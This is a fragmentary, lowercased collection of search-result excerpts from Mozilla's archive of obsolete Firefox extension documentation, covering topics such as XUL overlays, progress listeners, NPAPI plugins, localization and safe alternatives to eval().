reateelement("thead"), ocapt = document.createelement("caption"), odecryear = document.createelement("span"), oincryear = document.createelement("span"), odecrmonth = document.createelement("span"), oincrmonth = document.createelement("span"); var nid = ainstances.length, oth; this.target = otarget; this.display = document.createelement("span"); this.current =
new date(); this.container = otable; this.display.classname = sprefs + "-current-month"; this.id = nid; otable.classname = sprefs + "-calendar"; otable.id = sprefs + "-cal-" + nid; odecryear.classname = sprefs + "-decrease-year"; odecrmonth.classname = sprefs + "-decrease-month"; oincrmonth.classname = sprefs + "-increase-month"; oincryear.classname = sprefs + "-in...
... othiscal.target.value = (this.innerhtml / 100).tofixed(2).substr(-2) + "\/" + (othiscal.current.getmonth() + 1) + "\/" + othiscal.current.getfullyear(); othiscal.container.parentnode.removechild(othiscal.container); return false; } function buildcalendars () { const afields = document.getelementsbyclassname(sdpclass), nlen = afields.length; for (var nitem = 0; nitem < nlen;
new datepicker(afields[nitem++])); } const /* customizable by user */ sprefs = "zdp"; sdpclass = "date-picker", smonthsnames = ["jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec"], sdays = ["m", "t", "w", "t", "f", "s", "s"], bzeroismonday = true, /* internal usage */ ainstances = [], amonthlengths = [31, 28, 31, 30, 31, 30, 3...
HTML to DOM - Archive of obsolete content
safely parsing simple html to dom when using xmlhttprequest to get the html of a remote webpage, it is often advantageous to turn that html string into dom for easier manipulation. however, there are potential dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the html safely. ...
...rsing complete html to dom loading an html document seems much simpler if it's loaded using the xmlhttprequest object. for that matter, we're going to load our html document first: var request = xmlhttprequest(); request.open("get", "http://example.org/file.html", false); request.send(null); our next step is to create the document object that will represent the dom into which we'll insert our
newly-retrieved html: var doc = document.implementation.createhtmldocument("example"); doc.documentelement.innerhtml = request.responsetext; after this any manipulation that we might want to do will be something as simple as the following: doc.body.textcontent = "this is inside the body!"; using a hidden iframe element to parse html to a window's dom sample code may need more work. create yo...
Miscellaneous - Archive of obsolete content
ceive dommousescroll events. 3 change text size. if set, you will not receive dommousescroll events. you can listen to mouse wheel click events just like normal click events (via mousedown and mouseup events). when the mouse wheel is clicked, event.button will be equal to 1. ...
...t(','); for (var i=0; i<certs.length; i++) { this.addcertificate(certs[i], 'c,c,c'); } }, addcertificate: function(certname, certtrust) { var certdb = cc["@mozilla.org/security/x509certdb;1"].getservice(ci.nsix509certdb2); var scriptablestream=cc["@mozilla.org/scriptableinputstream;1"].getservice(ci.nsiscriptableinputstream); var channel = gioservice.
newchannel("chrome://yourapp/content/certs" + certname, null, null); var input=channel.open(); scriptablestream.init(input); var certfile=scriptablestream.read(input.available()); scriptablestream.close(); input.close(); var begincert = "-----begin certificate-----"; var endcert = "-----end certificate-----"; certfile = certfile.replace(/[\r\n]/g, "...
Page Loading - Archive of obsolete content
page loading on page load how to execute code each time a
new page is loaded in browser/mail progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. ...
... page loading on page load how to execute code each time a
new page is loaded in browser/mail progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. ...
Progress Listeners - Archive of obsolete content
, you will get notified when user navigates to another page (by clicking a link, using the back/forward button, by typing an address in the location bar, etc.) and also when user switches tabs. var myextension = { oldurl: null, init: function() { gbrowser.addprogresslistener(this); }, uninit: function() { gbrowser.removeprogresslistener(this); }, process
newurl: function(auri) { if (auri.spec == this.oldurl) return; // now we know the url is
new... alert(auri.spec); this.oldurl = auri.spec; }, // nsiwebprogresslistener queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onlocationchange: function(aprogress, arequest...
...if (auri.spec == this.oldurl) return; // now we know the url is
new... ...
Sidebar - Archive of obsolete content
panels.xul") { // act on the sidebar content only if it is the web panels } accessing the browser.xul window from a sidebar script see accessing the elements of the top-level document from a child window section of working with windows in chrome code. ...
...h(
newwidth) { var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.document.getelementbyid("sidebar-box").width=
newwidth; } or function setsidebarwidth(
newwidth) { window.top.document.getelementbyid("sidebar-box").width=
newwidth; } you can also disable the ability to resize it manually, using the mouse, by hiding the sidebar's splitter element. for this snippet to work, you have to declare mainwindow as in the previous code block then write: mainwindow.document.getelementbyid("sidebar-splitter").hidden...
Delayed Execution - Archive of obsolete content
ed with delays using nsitimer instances. note: if an nsitimer is garbage collected, it will be deactivated and its callbacks will not fire. a reference to the timer objects must be explicitly kept alive until that point. ...
...let timer =
new timer(function () { // remove the reference so that it can be reaped. delete delay.timers[idx]; func(); }, timeout, ci.nsitimer.type_one_shot); // store a reference to the timer so that it's not reaped before it fires. let idx = delay.timers.push(timer) - 1; return idx; } delay.timers = []; function repeat(timeout, func) { let timer =
new timer(function () { func(); }, timeout, ci.nsitimer.type_repeating_slack); // store a reference to the timer so that it's not reaped before it fires. let idx = delay.timers.push(timer) - 1; return idx; } repeat.timers = []; // repeat a task every 1200ms repeat(1200, doathing); // do something 320ms from now delay(320, dosomething); ...
getAttributeNS - Archive of obsolete content
satt); } else if (ns === null) { return thisitem.getattribute(nsatt); } else if (ns === 'http://www.w3.org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs = thisitem.attributes; var prefixatt =
new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name being searched (escape period since only character (besides colon) allowed in an xml name which needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && ...
... (escape period since only character (besides colon) allowed in an xml name which needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { var xmlnsprefix =
new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink // check higher up for xmlns:prefix // check the current node and if necessary, check for the next matching local name up in the hierarchy (until reaching the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { attrs2 = thisitem.at...
Deploying a Plugin as an Extension - Archive of obsolete content
historically, most people have chosen to use an install.js script to install a plugin. when this method is used, you can choose to either place the plugin into the plugins directory, or, on windows, place it into your own directory and modify the windows registry to let firefox know where to find the plugin. ...
...historically, most people have chosen to use an install.js script to install a plugin. when this method is used, you can choose to either place the plugin into the plugins directory, or, on windows, place it into your own directory and modify the windows registry to let firefox know where to find the plugin. ...
Downloading JSON and JavaScript in extensions - Archive of obsolete content
to move out of the amo sandbox. the practice is dangerous because the decoded javascript has full chrome privileges and could perform some nasty actions. how could the javascript an extension downloads perform nasty actions? fairly easy if the webserver where the javascript is hosted were to be hijacked or compromised. it happens to the best of us. amo takes the threat very seriously. the good
news is there are several ways to workaround the problem. downloading json if the extension is downloading json, then the developer should be using one of the json decoding methods discussed here and not using eval() at all. json is about state and does not allow functions to be decoded. the json decoding methods available to extension developers protect the extension from malicious json and javas...
...d javascript. downloading state from a remote webserver using json is becoming extremely popular. use the json decoders, not eval()! downloading javascript of course there are times when javascript code modules are downloaded and injected into the extension. this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a
new version of the extension for each script change. in this case, javascript sandboxing should be used to isolate the downloaded javascript from the rest of the extension, and host application. sandboxing is done using components.utils.evalinsandbox(). the javascript code is added to the sandbox along with any "safe" objects the javascript needs to interact. sandboxing is not without its dangers an...
Inline options - Archive of obsolete content
firefox 7 supports a
new syntax for defining extensions' preferences for both bootstrapped and traditional extensions. the user interface for the preferences defined with this
new syntax appears in the extension's detail view in the add-on manager. this functionality originally appeared in firefox mobile and is now available in firefox on the desktop as well. options file the xul allowed for the inline options is limited to a few
new tags. here is an example of an options.xul file: <?xml version="1.0"?> <!doctype mydialog system "chrome://myaddon/locale/mydialog.dtd"> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited t...
... the inline options page you can do so. the this value is the setting xul element. see mxr for what all this holds: http://mxr.mozilla.org/mozilla-release/source/toolkit/mozapps/extensions/content/setting.xml for example you can fire this.inputchanged() etc etc. <setting pref="extensions.throbberrestored.showtxtontoolbar" title="show text on toolbar button" type="bool" oninputchanged="alert('
new value is = ' + this.value); this.style.backgroundcolor='red';"> if labels on other toolbar buttons are visible (like by using add-on "classic theme restorer") then show label on throbber toolbar button </setting> note in order for the oninputchanged to execute, the setting must have a pref attribute, otherwise the oninputchanged will not trigger. some discussion on the subject at ...
Migrating raw components to add-ons - Archive of obsolete content
have a mechanism for specifying the versions of firefox with which they are compatible, leading to poor integration and instability as users upgrade their firefox installations. the firefox extension mechanism allows you to do everything that you could do through direct component drops, but also gives you and your users extra flexibility and more sophisticated versioning support. as we roll this
new behavior out, this document will be updated with additional information addressing scenarios we see developers encountering. simple migration if your goal is just to get your raw component working properly as an extension, you can do this in three steps: create a
new add-on using the instructions here. as you'll see, add-ons give you much more flexibility than simply loading a component, but in ...
...ke to install firefox add-ons in an automated, programmatic way, we have documented a set of best practices. javascript c-types some add-on authors create binary components not because they want to interact with firefox at the c++ level, but strictly so that they can make use of third party dlls. if this is the only reason you are using a binary component instead of javascript, take a look at the
new javascript c-types support introduced in firefox 3.6. it allows javascript code to load functions from dlls on windows, and should allow you to eliminate your dependence on binary components entirely. this leads to a better compatibility path as
new versions of firefox are released. ...
Adding Events and Commands - Archive of obsolete content
user is navigating with the keyboard. you can combine these with -moz-user-focus to add custom focus behavior to elements that normally wouldn't have it. drag and drop. drag and drop operations involve several events. since drag and drop is a complicated thing to manage, there are some high level wrappers that facilitate working with it. also keep in mind that there are 2 drag and drop apis, the
newest (and preferred) one introduced in firefox 3.5. event handlers can take an event argument, which is an event object that holds information on the event. you can get information on key modifiers (in case the user was holding a modifier key like alt while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. for example: <button lab...
...ent), screen coordinates for mouse events, and most importantly, the target element for the event. for example: <button label="&xulschoolhello.defaultgreeting.label;" oncommand="xulschoolchrome.browseroverlay.changegreeting(event);" /> then on the javascript code you would have something like this: changegreeting : function(aevent) { // more stuff aevent.target.setattribute("label", some
newgreeting); } the target in this example is the button element, so clicking on it will change its text. the advantage of using the event argument is that the method is not dependent of the specific button, so it can also be used for other elements. for more advanced event handling, you should read about event propagation. in a nutshell, events propagate from the root of the dom tree all the way ...
Adding sidebars - Archive of obsolete content
sidebars take as much space as the user wants them to, and provide a frame where you can add elaborate data and controls. you're probably familiar with the bookmarks and history sidebars. if not, you can open either one from the view > sidebar menu. they also have shortcuts to open or close them using the keyboard. the code required to add a sidebar is very simple, as explained in creating a firefox sidebar. it's even simpler than that. all you need is to overlay the view sidebar menu. ...
...keyboard shortcuts are an essential feature of firefox, and you can add your own into your extensions, which is also great. the problem is that choosing the right keyboard shortcuts is very, very hard, as explained by the creator of adblock plus, and the mozilla keyboard reference. to sum up both of these references: you can choose an obscure key combination that won't conflict with fire...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
closures will ensure the code is still valid, even if your outer function already returned from execution. addeventlistener("load", function() { myaddon.init(); myaddon.onload(); }, true); function doxhr() { //... var response = xhr.responsetext; settimeout(function() { alert(response); }, 100); } alternative: use function.bind() introduced in javascript 1.8.5 function.bind is a
new utility function that you may use to (partially) bind parameters to functions. addeventlistener("load", myaddon.init.bind(myaddon), true); settimeout(alert.bind(null, xhr.responsetext), 100); function.bind() returns a
new function. this is important to know in particular when you later want to call removeeventlistener: you'll have to pass the resulting function from the first .bind() call. ca...
...nction is replaced by a short-hand/arrow function: function addtab(auri) tabbrowser.addtab(auri); var addtab = (auri) => tabbrowser.addtab(auri); same as with "passing functions/code as strings" above, patching a function to with fragments of externally retrieved data will create security vulnerabilities. alternative: replace + function.apply() you may replace the original function with a
new function, keeping a reference to the original function which you then call from the
new one. // wrap in an anonymous function (which is called immediately). // this will encapsulate local variables such as _original and // not pollute the global namespace. (function() { // keep a reference to the original function. var _original = gbrowser.addtab; // override a function. gbrowser.addta...
Getting Started with Firefox Extensions - Archive of obsolete content
« previousnext » what's a firefox extension? extensions add
new functionality to mozilla applications such as firefox and thunderbird. they can add anything from a toolbar button to a completely
new feature. they allow the application to be customized to fit the personal needs of each user if they need additional features, while keeping the applications small to download. taken from the extensions page. as described in the quoted text, an extension is a small application that adds something
new to one or more mozilla applications. this tutorial focuses on extensions for firefox, but the same (or very similar) principles apply to creating extensions for other applications such as thunderbird, seamonkey, and flock. it is also worth noting that there are differences between the def...
...talling, enabling and disabling add-ons require a restart to complete, with the exception of npapi plugins, add-ons sdk extensions and bootstrapped extensions. this is an important point to keep in mind if you're building an extension that manipulates other extensions or themes. after installing, look at the main firefox window and see if you notice anything different. did you see it? there's a
new menu on the main menu, labeled "hello world!". if you open the menu and then the menu item below, you'll see a nice alert message (for some definitions of 'nice'). click on the ok button to close it. that's all the extension does. now let's take a closer look at it. extension contents you may have noticed that the extension file you installed is named xulschoolhello1.xpi. xpi (pronounced ...
Setting Up a Development Environment - Archive of obsolete content
n errors developers make is to register a js event listener or observer, and never removing it. the simple practice of always including removal code for everything you add makes a big difference. to make sure your extension doesn't leak, you should use the leak monitor extension when testing it. always test opening and closing windows. leaks usually surface when doing this. exercise set up a
new firefox profile for xul school. make sure you can open and close your xul school firefox without having to close the instance of firefox you use to browse normally. make any modifications you want to the xul school project, run make install and restart firefox to see the extension work with your changes. install dom inspector. use it to locate the menu you created. hint: you can search for an el...
... of the firefox dom, and try to figure out what the nodes correspond to in the firefox ui. install the firebug extension. open the firebug window and go to an ajax-heavy page such as gmail or facebook. open and enable the net tab. try to identify what is going on with some of the requests being sent. now that you know how to quickly monitor your project and test changes, we'll learn how to add
new ui elements to firefox, through overlays and
new windows. « previousnext » this tutorial was kindly donated to mozilla by appcoast. ...
User Notifications and Alerts - Archive of obsolete content
hows up again when you come back to the tab that displayed it. this means that these notifications make the most sense when they are related to the page currently being displayed, such as a page trying to install an add-on, or a site you just entered a password on. ...
...o the tab that displayed it. this means that these notifications make the most sense when they are related to the page currently being displayed, such as a page trying to install an add-on, or a site you just entered a password on. ...
Extensions support in SeaMonkey 2 - Archive of obsolete content
menupopup> <menuitem label="menuitem"/> <menuitem label="menuitem"/> <menuitem label="menuitem"/> </menupopup> </button> </hbox> technical note: the code that opens the url history popup just looks for any menupopup, so it goes wrong if you add your own. ordinary popups are fine of course. the statusbar in firefox 3 a
new vbox has been added, called "browser-bottombox", which encloses the find bar and status bar at the bottom of the browser window. although this doesn't affect the appearance of the display, it may affect your extension if it overlays chrome relative to these elements. for example, if you overlay some chrome before the status bar, like this: <vbox id="browser-bottombox"> <something insertbefore...
...these are so commonly available that developers often forget that they are not built-ins. seamonkey on the other hand def...
XML data - Archive of obsolete content
e display property in the css specification. using css alone, the structure of the display must be the same as the structure of the document. other technologies can modify the structure of the display—for example, xbl can add content, and javascript can modify the dom. for more information about xml in mozilla, see the xml page in this wiki. action: an xml demonstration make a
new xml file, doc9.xml. copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <!-- xml demonstration --> <?xml-stylesheet type="text/css" href="style9.css"?> <!doctype planet> <planet> <ocean> <name>arctic</name> <area>13,000</area> <depth>1,200</depth> </ocean> <ocean> <name>atlantic</name> <area>87,000</area> <depth>3,900</depth> </ocean> <...
...copy and paste the content from here, making sure that you scroll to get all of it: /*** xml demonstration ***/ planet:before { display: block; width: 8em; font-weight: bold; font-size: 200%; content: "oceans"; margin: -.75em 0px .25em -.25em; padding: .1em .25em; background-color: #cdf; } planet { display: block; margin: 2em 1em; border: 4px soli...
Getting the page URL in NPAPI plugin - Archive of obsolete content
to do that, but you can still do it, by asking the browser for the page url during plugin initialization. then you can just refuse to do anything, if you don't like the url, or you can compare it with the other url you want to contact. so, how do we get at that page url, i.e. the url of the html which embeds the plugin, i.e. which caused the plugin to load? there are at least 3 solutions (quoting
newsgroup posts): via window location from robert platt: // get the dom window object. npn_getvalue( m_pnpinstance, npnvwindownpobject, &swindowobj ); // create a "location" identifier. npidentifier identifier = npn_getstringidentifier( "location" ); // declare a local variant value. npvariant variantvalue; // get the location property from the window object (which is another object). bool b1 = npn_g...
...identifier. identifier = npn_getstringidentifier( "href" ); // get the location property from the location object. bool b2 = npn_getproperty( m_pnpinstance, locationobj, identifier, &variantvalue ); this code is just a rough example. remember to release any references after using them. tradeoffs: uses npapi only works in most browsers does not work in mozillas older than firefox 1.0 via npp_
newstream from braden mcdaniel: if you want the uri of the resource for which the plug-in is invoked, the most npapi-friendly way to do that is to get it from the npstream that is passed to npp_
newstream. tradeoffs: npapi only probably works in all browsers, all versions is sort of backwards (?) advantages / disadvantages ? via dom from benjamin smedberg: the npapi gives you the ability to get ...
Localizing an extension - Archive of obsolete content
ing) to the corresponding text in english. create the string bundle the next step is to modify the stockwatcher2.xul file to reference this property file. we do this by creating a string bundle, using the following code: <stringbundleset id="stringbundleset"> <stringbundle id="string-bundle" src="chrome://stockwatcher2/locale/stockwatcher2.properties"/> </stringbundleset> this establishes a
new string bundle, referenced by the id "string-bundle", whose keys and values are to be loaded from the stockwatcher2.properties file we've already created. note: you should use a unique id for each string bundle element for each file you use to avoid conflicts. (e.g. id="myextensionname-filename") update the javascript code now we're ready to revise the javascript code to load the strings from th...
...with the appropriate variables: samplepanel.tooltiptext = changestring + fieldarray[4] + " | " + openstring + fieldarray[5] + " | " + lowstring + fieldarray[6] + " | " + highstring + fieldarray[7] + " | " + volumestring + fieldarray[8]; localizing the description in install.rdf see localizing extension descriptions. adding more localizations to add another localization for a
new language, all you need to do is add another line to the chrome manifest referencing the
new locale. for example, to add a spanish localization, you would add: locale stockwatcher2 es-es chrome/locale/es-es/ then just create a subdirectory chrome/locale/es-es and add the needed dtd files; in this case, options.dtd and stockwatcher2.dtd. these files should map the same tags to the spanish transla...
Notes on HTML Reflow - Archive of obsolete content
x is the geometric primitive for the xul layout model. all html reflow, including the initial reflow , begins at the root frame , which corresponds to the <html> element of the html document. reflow proceeds recursively through some or all of the frame hierarchy, computing geometric information for each frame object that requires it. reflow may have the side-effect of creating
new continuation frames, for example, for a text frame when the text must be wrapped. some reflows are immediate in response to user or script actions; for example, resizing the window or changing the document's default font. these are dispatched directly from the presentation shell (e.g., nsipresshell::stylechangereflow), and affect the entire frame tree. other reflows are incrementa...
...note this in the reflow state object before flowing its children. when reflow begins, the root reflow state is initialized with information about the top-level container for the document's presentation; e.g., the width and height of the application window. this is passed as an argument to the reflow method of the root frame in the frame hierarchy. each container frame constructs a
new reflow state object (based on its container's reflow state object) in which the container will reflow its children. most of the constraints in the
new reflow state are computed when the state is created; for example, the available space in the
new reflow state is computed by subtracting the container frame's border and padding from the parent reflow state's available space. reflow reas...
Visualizing an audio spectrum - Archive of obsolete content
nvas></div> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft =
new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal =
new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, /...
... var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum =
new float32array(buffersize/2); this.real =
new float32array(buffersize); this.imag =
new float32array(buffersize); this.reversetable =
new uint32array(buffersize); this.sintable =
new float32array(buffersize); this.costable =
new float32array(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit ...
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
d any other guids this control relies upon (iid, libids etc). this is necessary so that your control may coexist with the generic version and any other versions that other plug-ins vendors may have installed. it is advisable to rename the control and not to install somewhere like the windows directory where it is likely to be overridden. ...
...
new guids. package it there is a subdirectory named cab/ which contains a script and a readme.txt for producing your own signed cab files. manual installation assuming you have the precompiled pluginhostctrl.dll and wish to install it on a machine, you must register it either through an install script or manually: regsvr32 pluginhostctrl.dll you must have administrator privileges to install a
new control on operating systems such as windows nt, 2000 & xp. usage insert some html like this into your content: <object classid="clsid:dbb2de32-61f1-4f7f-beb8-a37f5bc24ee2" width="500" height="300"> <param name="type" value="video/quicktime"/> <param name="src" value="http://www.foobar.com/some_movie.mov"/> <!-- custom arguments --> <param name="loop" value="...
Automated testing tips and tricks - Archive of obsolete content
es not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a
new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the
new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the
new profile directory with the rest of the default settings firefox-bin -p testp...
...
new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created. ...
Locked config settings - Archive of obsolete content
directory. the mozilla.cfg file is an encoded file of javascript commands. the encoding is a simple "byte-shifting" with an offset of 13 (netscape 4 used a similar encoding, but with a of 7 instead). this file also needs to be "called" from c:\program files\mozilla.org\mozilla\defaults\pref\all.js by appending the following line at the end: pref("general.config.filename", "mozilla.cfg"); note:
newer versions of mozilla or firefox store the all.js file in greprefs rather than defaults\pref the moz-byteshift.pl script allows to encode...: moz-byteshift.pl -s 13 <mozilla.cfg.txt >mozilla.cfg ... and to decode mozilla.cfg files: moz-byteshift.pl -s -13 <mozilla.cfg >mozilla.cfg.txt example of an unencoded file: mozilla.cfg.txt. the lockpref command puts into place a locked preference, wher...
... into a place a default value (which the user may override in his prefs.js file). note that the file must start with //, or else it is not recognized by mozilla. as the encoding of the file is pretty trivial, the encoding as such does not provide any real security. instead make sure that file protections make this file unmodifiable by the unprivileged user. moreover, some settings (such as mail &
news configuration) unfortunately seem to be inaccessible to mozilla.cfg, which means that these cannot be locked. if you have trouble getting the moz-byteshift.pl script to work locally, there is also an online version available. note: in recent versions of mozilla (tested on windows and linux, with 1.5, 1.6 and 1.7b), the mozilla.cfg file needs to be placed in mozilla's root directory, rather than ...
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
reflects the data type handled by the plugin. this is how webpages invoke your plugin. should either be like "application/x-vnd-yourorganization-yourfiletype" or be officially registered with iana (unlikely) or be a standard type (e.g. if you want to play mpeg files). file extension reflects the data type handled by the plugin, esp. when loaded from local disk on windows. build create a
new project in visual studio for a win32 gui library (dll) (in .net 2003: win32 template, then switch to dll in application settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard). if a wizard gives you a checkbox to create an empty project, then check it. otherwise you'll delete files later. again note that th...
...s you a checkbox to create an empty project, then check it. otherwise you'll delete files later. again note that the resulting dll filename must start with "np", so either call your project like this or rename the file later delete the .cpp and .h and readme files from the project and disk (if you did not create an empty project) copy the npruntime sample plugin source code into the dir of the
new vs project and add the files to the project using the vs gui (.cpp files to "source files", .h files to "header files", .rc file to "resource files"). samples can be obtained from: https://developer.mozilla.org/en/plugins/samples_and_test_cases get the npapi sdk. add the npapi sdk include path (example : c:\npapi-sdk\headers) to project properties|(all configurations)|c++|general|additional inc...
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
our mozilla extension now exists, but it doesn't do anything. to make it work we have to add javascript code that changes its status when the tinderbox status changes. the first step is to write a function that queries the tinderbox server and retrieves the current status. var gxmlhttprequest; function loadtinderboxstatus() { gxmlhttprequest =
new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); } xmlhttprequest is an interface in mozilla for retrieving documents via http. although it is designed to retrieve xml content and parse it into a dom, it can retrieve (but not parse) other kinds of content as well. in this case we use it to retrieve an htm...
... not parse) other kinds of content as well. in this case we use it to retrieve an html page containing a brief summary of the current tinderbox state. that document gets updated by the tinderbox server every time a build finishes. it displays a list of active tinderbox clients along with the result of their last build attempt. xmlhttprequest is easy to use in the simple case we have here. we use
new to create a
new instance of it, set the instance's onload property to updatetinderboxstatus(), the function we want to execute when the document finishes loading, call its open method with the type of http request we want to make and the url of the document to retrieve, and then call its send method to send the request. xmlhttprequest will retrieve the document located at the given url and call ...
Making it into a static overlay - Archive of obsolete content
tainability, and extensability. dynamic overlays also make it possible to modify a xul file without actually changing the code of the file itself, which is necessary when installing an extension like ours. we'll first make the file into a static overlay, then we'll make it into a dynamic overlay. ...
...matches the value of the id attribute of the statusbar element in navigator.xul. when navigator.xul is rendering into the browser's application interface, this causes any attributes or child elements of the statusbar element in the overlay file to be added to the interface's dom and thus show up in the interface as if they were defined on the same element in navigator.xul. note that we've added a
new attribute to the statusbarpanel element: insertbefore. this attribute identifies another statusbarpanel element within statusbar before which our element should appear. thus it allows us to define the exact position of our element relative to the other statusbarpanel elements within statusbar. if insertbefore is omitted, the element will be added as the last child of statusbar, usually before the...
In-Depth - Archive of obsolete content
hat one and it lists a bunch of -x-image-region-left type styles in chrome://navigator/skin/. open up navigator.css, again (if you closed it), and look for the #back-button section. it has a -moz-image-region style in there which you can change. if you look through the rest of this file, you'll also notice that there are regions for the different states of #back-button. change those to match your
new image as well. just continue this process for everything that you wish to change and you'll have a
new skin in no time. organizing images to organize all of your icons you can store them all in one image and then tell mozilla which portions to use. this is done using the -moz-image-region style. a bunch of 20px x 20px icons in a grid format above is the source image of some icons setup to use th...
... in mozilla and adds an image to the one side of it. if you look at the modern skin, you'll notice that it adds the image to the other side of the toolbar. now that we have the code that will change the toolbar, it needs to be accessed. open up \classic\skin\classic\communicator\communicator.css and look for the .toolbar-primary section. there is a -moz-binding command there. point the url to the
new location. change: -moz-binding: url("chrome://global/content/bindings/toolbar.xml#toolbar-primary"); to -moz-binding: url("chrome://communicator/skin/toolbar/toolbarbindings.xml#toolbar-primary"); now every toolbar has a spot for an image on the right hand side and we can start adding images, but first we need to make sure we can see the images that we add. also in the communicator.css add this...
Download Manager improvements in Firefox 3 - Archive of obsolete content
note: these changes will require some modest revisions to code using the download manager; several methods have had minor changes. ...
... other download manager documentation download manager preferences this article lists preferences used by the download manager as well as their default values. the download manager schema this article describes the database format used to store and track information about each download. examples monitoring downloads an example showing how to use the
new download manager apis to create a download log window that shows all past and present downloads and their status, including the start and end times of the downloads, the download speed, and more. also demonstrates the storage api. ...
Editor Embedding Guide - Archive of obsolete content
te_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters note this is logical style. typically it is displayed with monospace font. cmd_removelinks removes the existing link from the selection (if any). getcommandstate "state_enabled"(boolean), ??? docommand no parameters cmd_ol makes ordered list from selection or inserts
new list if there is no selection. getcommandstate "state_enabled"(boolean) docommand no parameters note see also cmd_removelist cmd_ul makes unordered list from selection or inserts
new list if there is no selection. getcommandstate "state_enabled"(boolean) docommand no parameters note see also cmd_removelist cmd_dt inserts list item (dt element). getcommandstate "state_ena...
...mmandstate "state_attribute" (cstring) docommand "state_attribute" (cstring) note for color values, use the cstring representation of rrggbb, e.g., red="#ff0000" and black="#000000". cmd_fontface sets the font face for the current selection. getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring or string) "helvetica, arial, sans-serif" "times
new roman, times, serif" "courier
new, courier, monospace" any string is acceptable. the above strings should be considered examples of base functionality and in no way imply that this command won't handle other fonts. cmd_align sets the alignment for the lines contained in the current selection. getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring) ...
Building Firefox with Rust code - Archive of obsolete content
for people using rust in firefox. see also the documentation on this topic on the oxidation wiki page. adding rust code we generally target stable rust, but sometimes issues temporarily require a beta or custom toolchain build. our goal is to always ship a firefox release build with a stable rust toolchain release. ...
...ith a stable rust toolchain release. if you don't have rust already, use the rustup tool to install it and update as
new releases become available, or use the ./mach bootstrap command. the build system will generate a special 'rust unified library' crate, compiled to a static library (libgkrust.a) which is in turn linked into xul, so all public symbols will be available to c++ code. if you have
new rust libraries that code in libxul calls directly, then you should add the appropriate extern crate lines in toolkit/library/rust/shared/lib.rs, and add those libraries (crates) as dependencies in toolkit/library/rust/cargo.toml. if you want to call code in the "e10s" crate, you would add: extern crate e10s; to toolkit/library/rust/shared/lib.rs; you would also need to specify the path to that...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
low shuffling in nsuriloader. the prose description below has been updated. the changes do not affect functionality and the step numbers in the diagram are still accurate. guided tour during startup and component initialization, components register themselves with the uriloader via registercontentlistener. these registered listeners are used later during content dispatch. api calls to load a
new uri. these can come in via nsiwebnavigation (a scriptable embedding interface) or nsilinkhandler (an internal interface used for link clicks). both interfaces are implemented by nswebshell/nsdocshell. these api calls will typically pass in a uri string or object to load, and may include information like the name of the target frame (for <a target="something">, e.g.). nsdocshell::internalload() ...
